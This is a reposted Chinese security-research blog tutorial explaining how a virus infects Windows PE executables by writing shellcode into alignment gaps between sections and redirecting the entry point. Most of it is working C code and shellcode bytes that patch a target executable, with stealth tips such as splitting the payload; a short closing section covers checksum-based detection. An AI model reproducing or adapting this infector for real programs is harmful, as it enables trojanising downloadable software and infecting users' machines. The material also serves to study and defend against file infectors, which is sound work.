【轉】反病毒攻防研究第002篇:利用縫隙實現代碼的植入

聲明

因爲在評論區看到原博主說要把文章刪掉。。。心想這麼好的文章刪了真的可惜,所以就先轉一份。。。


一、前言

        現在很多網站都提供各式各樣軟件的下載,這就爲黑客提供了植入病毒木馬的良機。黑客可以將自己的惡意程序植入到正常的程序中,之後發佈到網站上,這樣當用戶下載並運行了植入病毒的程序後,計算機就會中毒,而且病毒可能會接着感染計算機中的其他程序,甚至通過網絡或者U盤,使得傳播面積不斷擴大。而本篇文章就來剖析病毒感染的實現原理,首先需要搜索正常程序中的縫隙用於“病毒”(用對話框模擬)的植入,之後感染目標程序以實現“病毒”的啓動。當然,討論完這些,我依舊會分析如何應對這種攻擊方法,這纔是本篇文章討論的重點。

 

二、搜索程序中存在的縫隙。

        病毒木馬如果想對一個正常的程序寫入代碼,那麼首先就必須要知道目標程序中是否有足夠大的空間來讓它把代碼植入。一般來說,有兩種方法,第一種就是增加一個節區,這樣就有足夠的空間來讓病毒植入了,但是這樣一來,不利於病毒的隱藏,如同告訴反病毒工程師“我就是病毒”一樣,即便如此,我依舊會在後面的文章中討論這種方法。第二種方法就是查找程序中存在的縫隙,然後再植入代碼。因爲在PE文件中,爲了對齊,節與節之間必然存在未被使用的空間,這就是程序中存在的縫隙。只要惡意代碼的長度不大於縫隙的長度,那麼就可以將代碼寫入這個空間。這裏討論的就是這種方法的實現。

        爲了討論的簡單起見,我這裏依舊使用在上一篇文章中所編寫的ShellCode。和上一篇文章中所討論的方法不同的是,上次是將ShellCode寫入了密碼文件,密碼驗證程序讀取密碼文件後,產生溢出,執行了ShellCode,然後再執行“病毒”程序。而這次是省去了中間環節,直接將ShellCode寫入正常的程序中,運行程序就直接運行了“病毒”,這樣就更加隱蔽,更容易被觸發。提取出之前的ShellCode,並進行一定的修改,定義如下:

  1. char shellcode[] =
  2.     "\x33\xdb"                       //xor  ebx,ebx
  3. "\x53"                           //push ebx
  4. "\x68\x2e\x65\x78\x65"           //push 0x6578652e
  5. "\x68\x48\x61\x63\x6b"           //push 0x6b636148
  6. "\x8b\xc4"                       //mov  eax,esp 
  7. "\x53"                           //push ebx
  8. "\x50"                           //push eax
  9. "\xb8\x31\x32\x86\x7c"           //mov  eax,0x7c863231
  10. "\xff\xd0"                       //call eax 
  11. "\xb8\x90\x90\x90\x90"           //mov  eax,OEP
  12. "\xff\xe0\x90";                  //jmp  eax

        這裏需要說明的是,由於我們接下來要將程序的入口點修改爲ShellCode的入口點,在ShellCode執行完後,又需要跳回原程序的入口點,因此在原始ShellCode的後面添加上了mov和jmp eax的指令。mov後面留有四個字節的空間,用於原始程序OEP的寫入,下一步就是跳到原始程序去執行。由於原始ShellCode中包含有退出代碼,所以也需要將調用ExitProcess的ShellCode代碼去掉。

        搜索程序中縫隙的代碼如下:

  1. DWORD SearchSpace(LPVOID lpBase,PIMAGE_NT_HEADERS pNtHeader)
  2. {
  3. PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)(((BYTE *)&(pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader));
  4. DWORD dwAddr = pSec->PointerToRawData+pSec->SizeOfRawData - sizeof(shellcode);
  5. dwAddr=(DWORD)(BYTE *)lpBase + dwAddr;
  6. //在內存中分配shellcode大小的空間,並以0進行填充
  7. LPVOID lp = malloc(sizeof(shellcode));
  8. memset(lp,0,sizeof(shellcode));
  9. while(dwAddr > pSec->Misc.VirtualSize)
  10. {
  11. //查找長度與shellcode相同,且內容爲00的空間
  12. int nRet = memcmp((LPVOID)dwAddr,lp,sizeof(shellcode));
  13. //如果存在這樣的空間,那麼memcmp的值爲0,返回dwAddr
  14. if(nRet == 0)
  15. {
  16. return dwAddr;
  17. }
  18. //自減,不斷反向查找
  19. dwAddr--;
  20. }
  21. free(lp);
  22. return 0;
  23. }

        上述代碼是在代碼的節區與緊挨着代碼節區之後的節區的中間的位置進行搜索,從代碼節區的末尾開始反向搜索。

 

三、將ShellCode植入目標程序

        這裏我們需要編寫一個main函數來調用上面的函數,代碼如下:

  1. #include <windows.h>
  2. #define FILENAME "helloworld.exe" //欲“感染”的文件名
  3. int main()
  4. {
  5. HANDLE hFile = NULL;
  6. HANDLE hMap = NULL;
  7. LPVOID lpBase = NULL;
  8. hFile = CreateFile(FILENAME,
  9. GENERIC_READ | GENERIC_WRITE,
  10. FILE_SHARE_READ,
  11. NULL,
  12. OPEN_EXISTING,
  13. FILE_ATTRIBUTE_NORMAL,
  14. NULL);
  15. hMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,0);
  16. lpBase = MapViewOfFile(hMap,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
  17. PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
  18. PIMAGE_NT_HEADERS pNtHeader = NULL;
  19. //PE文件驗證,判斷e_magic是否爲MZ
  20. if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
  21. {
  22. UnmapViewOfFile(lpBase);
  23. CloseHandle(hMap);
  24. CloseHandle(hFile);
  25. return 0;
  26. }
  27. //根據e_lfanew來找到Signature標誌位
  28. pNtHeader = (PIMAGE_NT_HEADERS)((BYTE *)lpBase + pDosHeader->e_lfanew);
  29. //PE文件驗證,判斷Signature是否爲PE
  30. if(pNtHeader->Signature != IMAGE_NT_SIGNATURE)
  31. {
  32. UnmapViewOfFile(lpBase);
  33. CloseHandle(hMap);
  34. CloseHandle(hFile);
  35. return 0;
  36. }
  37. //搜索PE文件中的縫隙
  38. DWORD dwAddr = SearchSpace(lpBase,pNtHeader);
  39. //尋找原程序入口地址,並拷貝到ShellCode中的相應位置(25至28字節處)
  40. DWORD dwOep = pNtHeader->OptionalHeader.ImageBase + pNtHeader->OptionalHeader.AddressOfEntryPoint;
  41. *(DWORD *)&shellcode[25] = dwOep;
  42. //將ShellCode拷貝到上面所找到的縫隙
  43. memcpy((char *)dwAddr,shellcode,strlen(shellcode)+3);
  44. dwAddr = dwAddr - (DWORD)(BYTE *)lpBase;
  45. //將ShellCode的入口地址拷貝給原程序
  46. pNtHeader->OptionalHeader.AddressOfEntryPoint = dwAddr;
  47. UnmapViewOfFile(lpBase);
  48. CloseHandle(hMap);
  49. CloseHandle(hFile);
  50. return 0;
  51. }

        由於我需要把ShellCode植入可執行文件,只有可執行文件才能啓動ShellCode,因此有必要提前對目標文件進行格式檢測。而檢測的方法,一般就是檢測MZ與PE標誌位是否存在。這裏有一件事需要說明,就是在將ShellCode拷貝到縫隙中的那條語句中,使用了memcpy函數,它的第三個參數是strlen(shellcode)+3,這裏之所以加上3,是因爲strlen這個函數當遇到字符串中出現的\x00時,就會認爲字符串已經結束,那麼它的字符長度的計數就會停在\x00處。而一個程序的OEP往往是0x004XXXXX,小端顯示,它的存儲方式就是XXXXX400,在我的ShellCode中,由於00後面還剩下三個字節(\xff\xe0\x90),但是被00所截斷了,導致這最後的三個字節不被strlen認可,因此需要再加上3。

 

四、程序的“感染”

        爲了測試我們的“感染”程序,在此我再編寫一個HelloWorld程序,代碼如下:

  1. #include <stdio.h>
  2. int main()
  3. {
  4. printf(“Hello world!\n”);
  5. getchar();
  6. return 0;
  7. }
        將上述代碼編譯鏈接後生成的helloworld.exe程序放到和“感染”程序同一目錄下,執行“感染”程序,然後用十六進制編輯軟件打開helloworld.exe,可以發現我們的代碼已經植入,如下如所示:


圖1 用Hex Editor查看植入代碼

        再用OllyDbg查看植入代碼:


圖2 用OllyDbg查看植入代碼

        使用OD載入程序,就直接來到了我們所植入的ShellCode的地址,可見程序的原始OEP已經被修改了。而在ShellCode的最後,又會跳到程序的原始入口點,繼續執行原始程序。利用PEiD也能明顯地看到“感染”前後的不同:

圖3 被“感染”前


圖4 被“感染”後

        此時我們就可以確定,helloworld.exe已經被“感染”了,爲了驗證“被感染”程序是否能夠啓動我們的對話框程序,需要將Hack.exe(注意這裏改了名字)放到與helloworld.exe的同一目錄下,然後執行helloworld.exe,如下圖所示:


圖5 運行“被感染”的程序

        可見,用於模擬病毒的提示對話框以及helloworld.exe自身的程序都得到了運行,這也說明了“感染”是成功的。

        這裏是直接將程序的入口點修改爲我們的ShellCode的入口地址,其實這是不利於“病毒”的隱藏的,爲了起到迷惑的作用,可以將ShellCode程序植入到helloworld的代碼中,甚至將ShellCode拆分爲幾個部分再植入,這樣就很難被發現了,這裏就不再詳細討論。

 

五、防範方法的討論

        由於惡意程序的這種“感染”方法是在程序的縫隙將自身代碼植入,因此它是不會對原始程序的大小產生任何改變的,當然也是由於我所舉的這個例子比較簡單,ShellCode也比較短的緣故。這或多或少也實現了病毒的隱藏,不過防範的方法還是有的。一般來說,軟件公司都會對自己的軟件產品進行校驗,比如運用MD5、Sha-1或者CRC32等。校驗的結果是唯一的,也就是說,即便原始程序改動很小(如這次僅僅修改了32個字節的內容),那麼校驗的結果也會很不相同。很多安全類軟件都能夠提供校驗的功能,而校驗也總被運用在手工查殺病毒中,因爲黑客往往會對系統中的svchost.exe或者一些DLL文件做手腳,而這樣的一些重要文件,官方都會給出真正的校驗值,那麼對比一下就能夠很容易發現這些文件是否被篡改過了。回到上面的helloworld.exe,在“感染”前後,用火眼進行校驗檢測:


圖6 “感染”前

圖7 “感染”後

        這裏的建議是多采用幾種校驗方式進行校驗,因爲像MD5這種校驗方式有可能會被做手腳,使得“感染”前後的結果可能是一樣的,而目前的技術還無法使在修改了原始文件的前提下,所有校驗方式的校驗結果不變。所以善於利用校驗的方式,可以使自己的計算機免受很多的威脅。

        針對於這種攻擊方式,我這次並不打算寫出專殺工具,畢竟依靠之前的專殺工具就足夠了。而對於文件被“感染”,去除感染是一件比較麻煩的事情,在這裏先不進行討論。以後的文章中可能會專門論述這個問題。

 

六、小結

        這次簡單討論了一下利用PE結構中的縫隙實現ShellCode的植入。在我看來,PE知識是許多高級技術的基礎,是必須要掌握的。以後的文章,會從更多的角度來講解利用PE格式實現“病毒”的攻擊與防範。再次強調的是,我在這裏討論的目的是爲了讓大家瞭解更多的計算機安全的知識,而不應將這些運用於歪門邪道。我所講的這些方法,是無法通過殺軟的檢驗的,即便是這次被感染的程序,“火眼”依舊將其列爲重點懷疑對象。所以不應爲了一時之快,而做出讓自己後悔的舉動。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章